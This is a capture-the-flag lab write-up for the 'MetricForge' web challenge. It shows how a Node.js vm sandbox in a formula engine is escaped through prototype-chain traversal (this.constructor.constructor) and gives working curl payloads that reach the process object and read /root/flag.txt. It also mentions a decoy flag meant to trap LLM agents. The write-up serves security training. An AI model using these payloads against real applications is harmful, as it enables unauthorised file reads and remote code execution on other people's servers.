MetricForge
MetricForge
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: arbitrary_file_read, constructor_chain_traversal, prototype_chain_traversal, vm_sandbox_escape
Summary
Task: Business analytics platform with custom formula evaluation using Node.js vm module sandbox. Solution: Escape the vm sandbox via prototype chain traversal (this.constructor.constructor) to access the main process context, require fs, and read /root/flag.txt.
MetricForge — HackAdvisor Lab 286
Description
MetricForge is a business analytics platform built by Forgepoint Analytics that lets teams build custom dashboards and define computed metrics using formula expressions. The platform supports importing datasets, creating visualizations, and sharing reports. Users can write custom formulas using JavaScript-like expressions to derive new metrics from their raw data. The formula engine provides built-in aggregation functions like sum(), avg(), min(), max(), and count(), along with dataset column references. Goal: find and exploit a vulnerability in the formula evaluation system to retrieve the flag hidden on the server.
MetricForge provides a dashboard for business analytics with dataset management, visualizations, and a custom formula engine. The critical feature is the "Custom Formulas" page (/formulas) which allows users to write and evaluate JavaScript-like expressions server-side. The formula engine runs in a Node.js vm module sandbox — which is not a security boundary.
Credentials: user@test.com / password123
Analysis
Application Features
| Feature | Endpoint | Purpose |
|---|---|---|
| Dashboard | / | Overview of datasets, metrics, visualizations |
| Custom Formulas | /formulas | Vulnerability — create and evaluate formula expressions server-side |
| Formula API | POST /api/formulas/evaluate | Evaluates expression with {"expression": "...", "dataset_id": N} |
| Datasets | /datasets | Import and manage data sources |
| Visualizations | /visualizations | Create charts and dashboards |
| |
Tech Stack
- Node.js, Express.js (X-Powered-By: Express header)
- Formula engine uses Node.js
vmmodule for sandboxed evaluation
Available Formula Functions
sum(), avg(), min(), max(), count(), round(), abs(), ceil(), floor(), pow(), sqrt()
Reconnaissance Findings
Key observations:
- The page states "Expressions are evaluated server-side in a secure sandbox" — this is a strong hint that the sandbox is breakable
- Decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML source to trap automated scanners and LLM agents - Testing
thisas an expression returned[object global]— this confirms the formula engine uses Node.jsvmmodule, NOT a proper sandbox likevm2orisolated-vm
Vulnerability: Node.js vm Module Sandbox Escape
The Node.js vm module is explicitly documented as not a security mechanism. Objects created inside a vm context maintain their prototype chains back to the main V8 context. This means any object inside the sandbox can traverse up the prototype chain to reach the outer context's Function constructor, which executes code outside the sandbox.
The prototype chain traversal:
this → sandbox global object
.constructor → Object (constructor of the global object)
.constructor → Function (constructor of Object, since Object is a function)
("return this.process") → creates a new function in the MAIN context
() → executes it, returns the real process object
.mainModule → main module reference
.require("fs") → loads the filesystem module
Once we have require(), we have full RCE — we can read files, spawn processes, or do anything Node.js can do.
Solution
Step 1: Confirm vm Sandbox
Test the expression this via the formula API:
bash read-only • copy allowedcurl -sk -b "connect.sid=SESSION" \ "https://TARGET/api/formulas/evaluate" \ -X POST -H "Content-Type: application/json" \ -d '{"expression":"this","dataset_id":1}'
Response: {"result":"[object global]"} — confirms vm module sandbox.
Step 2: Traverse Prototype Chain to Escape Sandbox
Test this.constructor.constructor("return this.process")():
bash read-only • copy allowedcurl -sk -b "connect.sid=SESSION" \ "https://TARGET/api/formulas/evaluate" \ -X POST -H "Content-Type: application/json" \ -d '{"expression":"this.constructor.constructor(\"return this.process\")()","dataset_id":1}'
Returns the Node.js process object — sandbox escaped.
Step 3: Read the Flag
Full payload to read /root/flag.txt:
bash read-only • copy allowedcurl -sk -b "connect.sid=SESSION" \ "https://TARGET/api/formulas/evaluate" \ -X POST -H "Content-Type: application/json" \ -d '{"expression":"this.constructor.constructor(\"return this.process\")().mainModule.require(\"fs\").readFileSync(\"/root/flag.txt\",\"utf8\")","dataset_id":1}'
Response:
json read-only • copy allowed{"result":"FLAG{REDACTED}\n"}
Complete Exploit Expression
javascript read-only • copy allowedthis.constructor.constructor("return this.process")().mainModule.require("fs").readFileSync("/root/flag.txt","utf8")